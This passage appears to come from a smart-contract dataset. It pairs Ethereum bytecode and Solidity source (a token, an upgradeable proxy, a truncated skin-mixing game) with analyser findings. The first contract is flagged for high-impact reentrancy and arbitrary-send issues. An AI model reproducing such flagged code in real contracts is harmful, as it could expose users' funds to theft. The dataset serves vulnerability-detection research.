60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561152e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152590612e0c565b60405180910390fd5b60008111611571576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156890612eec565b60405180910390fd5b611579610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115e757506115b7610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b4a57600e60179054906101000a900460ff161561181a573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561166957503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116c35750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561171d5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561181957600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661176361127b565b73ffffffffffffffffffffffffffffffffffffffff1614806117d95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117c161127b565b73ffffffffffffffffffffffffffffffffffffffff16145b611818576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180f90612f6c565b60405180910390fd5b5b5b600f5481111561182957600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118cd5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118d657600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119815750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119d75750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119ef5750600e60179054906101000a900460ff165b15611a905742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a3f57600080fd5b603c42611a4c91906130c2565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a9b30610783565b9050600e60159054906101000a900460ff16158015611b085750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b205750600e60169054906101000a900460ff165b15611b4857611b2e81611d4b565b60004790506000811115611b4657611b4547611c71565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bf15750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611bfb57600090505b611c0784848484612098565b50505050565b6000838311158290611c55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4c9190612dea565b60405180910390fd5b5060008385611c6491906131a3565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611cd9573d6000803e3d6000fd5b5050565b6000600654821115611d24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1b90612e2c565b60405180910390fd5b6000611d2e6120c5565b9050611d43818461204e90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d8357611d82613378565b5b604051908082528060200260200182016040528015611db15781602001602082028036833780820191505090505b5090503081600081518110611dc957611dc8613349565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e6b57600080fd5b505afa158015611e7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ea39190612831565b81600181518110611eb757611eb6613349565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f1e30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611283565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f82959493929190612fa7565b600060405180830381600087803b158015611f9c57600080fd5b505af1158015611fb0573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b600080831415611fe65760009050612048565b60008284611ff49190613149565b90508284826120039190613118565b14612043576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203a90612eac565b60405180910390fd5b809150505b92915050565b600061209083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120f0565b905092915050565b806120a6576120a5612153565b5b6120b1848484612184565b806120bf576120be61234f565b5b50505050565b60008060006120d2612361565b915091506120e9818361204e90919063ffffffff16565b9250505090565b60008083118290612137576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212e9190612dea565b60405180910390fd5b50600083856121469190613118565b9050809150509392505050565b600060085414801561216757506000600954145b1561217157612182565b600060088190555060006009819055505b565b600080600080600080612196876123c3565b9550955095509550955095506121f486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461242a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061228985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122d5816124d2565b6122df848361258f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161233c9190612f8c565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea000009050612397683635c9adc5dea0000060065461204e90919063ffffffff16565b8210156123b657600654683635c9adc5dea000009350935050506123bf565b81819350935050505b9091565b60008060008060008060008060006123df8a600854600f6125c9565b92509250925060006123ef6120c5565b905060008060006124028e87878761265f565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061246c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c0d565b905092915050565b600080828461248391906130c2565b9050838110156124c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124bf90612e6c565b60405180910390fd5b8091505092915050565b60006124dc6120c5565b905060006124f38284611fd390919063ffffffff16565b905061254781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125a48260065461242a90919063ffffffff16565b6006819055506125bf8160075461247490919063ffffffff16565b6007819055505050565b6000806000806125f560646125e7888a611fd390919063ffffffff16565b61204e90919063ffffffff16565b9050600061261f6064612611888b611fd390919063ffffffff16565b61204e90919063ffffffff16565b905060006126488261263a858c61242a90919063ffffffff16565b61242a90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126788589611fd390919063ffffffff16565b9050600061268f8689611fd390919063ffffffff16565b905060006126a68789611fd390919063ffffffff16565b905060006126cf826126c1858761242a90919063ffffffff16565b61242a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006126fb6126f684613041565b61301c565b9050808382526020820190508285602086028201111561271e5761271d6133ac565b5b60005b8581101561274e57816127348882612758565b845260208401935060208301925050600181019050612721565b5050509392505050565b600081359050612767816136c2565b92915050565b60008151905061277c816136c2565b92915050565b600082601f830112612797576127966133a7565b5b81356127a78482602086016126e8565b91505092915050565b6000813590506127bf816136d9565b92915050565b6000815190506127d4816136d9565b92915050565b6000813590506127e9816136f0565b92915050565b6000815190506127fe816136f0565b92915050565b60006020828403121561281a576128196133b6565b5b600061282884828501612758565b91505092915050565b600060208284031215612847576128466133b6565b5b60006128558482850161276d565b91505092915050565b60008060408385031215612875576128746133b6565b5b600061288385828601612758565b925050602061289485828601612758565b9150509250929050565b6000806000606084860312156128b7576128b66133b6565b5b60006128c586828701612758565b93505060206128d686828701612758565b92505060406128e7868287016127da565b9150509250925092565b60008060408385031215612908576129076133b6565b5b600061291685828601612758565b9250506020612927858286016127da565b9150509250929050565b600060208284031215612947576129466133b6565b5b600082013567ffffffffffffffff811115612965576129646133b1565b5b61297184828501612782565b91505092915050565b6000602082840312156129905761298f6133b6565b5b600061299e848285016127b0565b91505092915050565b6000602082840312156129bd576129bc6133b6565b5b60006129cb848285016127c5565b91505092915050565b6000602082840312156129ea576129e96133b6565b5b60006129f8848285016127da565b91505092915050565b600080600060608486031215612a1a57612a196133b6565b5b6000612a28868287016127ef565b9350506020612a39868287016127ef565b9250506040612a4a868287016127ef565b9150509250925092565b6000612a608383612a6c565b60208301905092915050565b612a75816131d7565b82525050565b612a84816131d7565b82525050565b6000612a958261307d565b612a9f81856130a0565b9350612aaa8361306d565b8060005b83811015612adb578151612ac28882612a54565b9750612acd83613093565b925050600181019050612aae565b5085935050505092915050565b612af1816131e9565b82525050565b612b008161322c565b82525050565b6000612b1182613088565b612b1b81856130b1565b9350612b2b81856020860161323e565b612b34816133bb565b840191505092915050565b6000612b4c6023836130b1565b9150612b57826133cc565b604082019050919050565b6000612b6f602a836130b1565b9150612b7a8261341b565b604082019050919050565b6000612b926022836130b1565b9150612b9d8261346a565b604082019050919050565b6000612bb5601b836130b1565b9150612bc0826134b9565b602082019050919050565b6000612bd8601d836130b1565b9150612be3826134e2565b602082019050919050565b6000612bfb6021836130b1565b9150612c068261350b565b604082019050919050565b6000612c1e6020836130b1565b9150612c298261355a565b602082019050919050565b6000612c416029836130b1565b9150612c4c82613583565b604082019050919050565b6000612c646025836130b1565b9150612c6f826135d2565b604082019050919050565b6000612c876024836130b1565b9150612c9282613621565b604082019050919050565b6000612caa6017836130b1565b9150612cb582613670565b602082019050919050565b6000612ccd6011836130b1565b9150612cd882613699565b602082019050919050565b612cec81613215565b82525050565b612cfb8161321f565b82525050565b6000602082019050612d166000830184612a7b565b92915050565b6000604082019050612d316000830185612a7b565b612d3e6020830184612a7b565b9392505050565b6000604082019050612d5a6000830185612a7b565b612d676020830184612ce3565b9392505050565b600060c082019050612d836000830189612a7b565b612d906020830188612ce3565b612d9d6040830187612af7565b612daa6060830186612af7565b612db76080830185612a7b565b612dc460a0830184612ce3565b979650505050505050565b6000602082019050612de46000830184612ae8565b92915050565b60006020820190508181036000830152612e048184612b06565b905092915050565b60006020820190508181036000830152612e2581612b3f565b9050919050565b60006020820190508181036000830152612e4581612b62565b9050919050565b60006020820190508181036000830152612e6581612b85565b9050919050565b60006020820190508181036000830152612e8581612ba8565b9050919050565b60006020820190508181036000830152612ea581612bcb565b9050919050565b60006020820190508181036000830152612ec581612bee565b9050919050565b60006020820190508181036000830152612ee581612c11565b9050919050565b60006020820190508181036000830152612f0581612c34565b9050919050565b60006020820190508181036000830152612f2581612c57565b9050919050565b60006020820190508181036000830152612f4581612c7a565b9050919050565b60006020820190508181036000830152612f6581612c9d565b9050919050565b60006020820190508181036000830152612f8581612cc0565b9050919050565b6000602082019050612fa16000830184612ce3565b92915050565b600060a082019050612fbc6000830188612ce3565b612fc96020830187612af7565b8181036040830152612fdb8186612a8a565b9050612fea6060830185612a7b565b612ff76080830184612ce3565b9695505050505050565b60006020820190506130166000830184612cf2565b92915050565b6000613026613037565b90506130328282613271565b919050565b6000604051905090565b600067ffffffffffffffff82111561305c5761305b613378565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006130cd82613215565b91506130d883613215565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561310d5761310c6132eb565b5b828201905092915050565b600061312382613215565b915061312e83613215565b92508261313e5761313d61331a565b5b828204905092915050565b600061315482613215565b915061315f83613215565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613198576131976132eb565b5b828202905092915050565b60006131ae82613215565b91506131b983613215565b9250828210156131cc576131cb6132eb565b5b828203905092915050565b60006131e2826131f5565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061323782613215565b9050919050565b60005b8381101561325c578082015181840152602081019050613241565b8381111561326b576000848401525b50505050565b61327a826133bb565b810181811067ffffffffffffffff8211171561329957613298613378565b5b80604052505050565b60006132ad82613215565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132e0576132df6132eb565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6136cb816131d7565b81146136d657600080fd5b50565b6136e2816131e9565b81146136ed57600080fd5b50565b6136f981613215565b811461370457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d21662c9fd46c920d6258cb9d8ae80fca064f1df3213347c03e8b6353f4b296f64736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,863
0x53c8e199eb2cb7c01543c137078a038937a68e40
/** *Submitted for verification at Etherscan.io on 2021-05-17 */ /** *Submitted for verification at Etherscan.io on 2020-10-09 */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ abstract contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ fallback () payable external { _fallback(); } /** * @dev Receive function. * Implemented entirely in `_fallback`. */ receive () payable external { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() internal virtual view returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() internal virtual { } /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { _willFallback(); _delegate(_implementation()); } } /** * @title UpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ contract UpgradeabilityProxy is Proxy { /** * @dev Contract constructor. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, bytes memory _data) public payable { assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if(_data.length > 0) { (bool success,) = _logic.delegatecall(_data); require(success); } } /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation. * @return impl Address of the current implementation */ function _implementation() internal override view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address"); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } /** * @title AdminUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. * All external functions in this contract must be guarded by the * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity * feature proposal that would enable this to be done automatically. */ contract AdminUpgradeabilityProxy is UpgradeabilityProxy { /** * Contract constructor. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable { assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _setAdmin(_admin); } /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return _admin(); } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ function changeAdmin(address newAdmin) external ifAdmin { require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address"); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin { _upgradeTo(newImplementation); (bool success,) = newImplementation.delegatecall(data); require(success); } /** * @return adm The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; assembly { sstore(slot, newAdmin) } } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal override virtual { require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin"); super._willFallback(); } }
0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a264697066735822122073c4c21e5c673ed7cd3c216206991b426c7391cadd714e9a2c3f3ee94217be2b64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
3,864
0x3465cd9ce5624e5b3d5eaccd816df4a8c0c31fda
pragma solidity ^0.4.18; contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } contract SkinBase is Pausable { struct Skin { uint128 appearance; uint64 cooldownEndTime; uint64 mixingWithId; } // All skins, mapping from skin id to skin apprance mapping (uint256 => Skin) skins; // Mapping from skin id to owner mapping (uint256 => address) public skinIdToOwner; // Whether a skin is on sale mapping (uint256 => bool) public isOnSale; // Number of all total valid skins // skinId 0 should not correspond to any skin, because skin.mixingWithId==0 indicates not mixing uint256 public nextSkinId = 1; // Number of skins an account owns mapping (address => uint256) public numSkinOfAccounts; // // Give some skins to init account for unit tests // function SkinBase() public { // address account0 = 0x627306090abaB3A6e1400e9345bC60c78a8BEf57; // address account1 = 0xf17f52151EbEF6C7334FAD080c5704D77216b732; // // Create simple skins // Skin memory skin = Skin({appearance: 0, cooldownEndTime:0, mixingWithId: 0}); // for (uint256 i = 1; i <= 15; i++) { // if (i < 10) { // skin.appearance = uint128(i); // if (i < 7) { // skinIdToOwner[i] = account0; // numSkinOfAccounts[account0] += 1; // } else { // skinIdToOwner[i] = account1; // numSkinOfAccounts[account1] += 1; // } // } else { // skin.appearance = uint128(block.blockhash(block.number - i + 9)); // skinIdToOwner[i] = account1; // numSkinOfAccounts[account1] += 1; // } // skins[i] = skin; // isOnSale[i] = false; // nextSkinId += 1; // } // } // Get the i-th skin an account owns, for off-chain usage only function skinOfAccountById(address account, uint256 id) external view returns (uint256) { uint256 count = 0; uint256 numSkinOfAccount = numSkinOfAccounts[account]; require(numSkinOfAccount > 0); require(id < numSkinOfAccount); for (uint256 i = 1; i < nextSkinId; i++) { if (skinIdToOwner[i] == account) { // This skin belongs to current account if (count == id) { // This is the id-th skin of current account, a.k.a, what we need return i; } count++; } } revert(); } // Get skin by id function getSkin(uint256 id) public view returns (uint128, uint64, uint64) { require(id > 0); require(id < nextSkinId); Skin storage skin = skins[id]; return (skin.appearance, skin.cooldownEndTime, skin.mixingWithId); } function withdrawETH() external onlyOwner { owner.transfer(this.balance); } } contract MixFormulaInterface { function calcNewSkinAppearance(uint128 x, uint128 y) public pure returns (uint128); // create random appearance function randomSkinAppearance() public view returns (uint128); // bleach function bleachAppearance(uint128 appearance, uint128 attributes) public pure returns (uint128); } contract SkinMix is SkinBase { // Mix formula MixFormulaInterface public mixFormula; // Pre-paid ether for synthesization, will be returned to user if the synthesization failed (minus gas). uint256 public prePaidFee = 1000000 * 3000000000; // (1million gas * 3 gwei) // Events event MixStart(address account, uint256 skinAId, uint256 skinBId); event AutoMix(address account, uint256 skinAId, uint256 skinBId, uint64 cooldownEndTime); event MixSuccess(address account, uint256 skinId, uint256 skinAId, uint256 skinBId); // Set mix formula contract address function setMixFormulaAddress(address mixFormulaAddress) external onlyOwner { mixFormula = MixFormulaInterface(mixFormulaAddress); } // setPrePaidFee: set advance amount, only owner can call this function setPrePaidFee(uint256 newPrePaidFee) external onlyOwner { 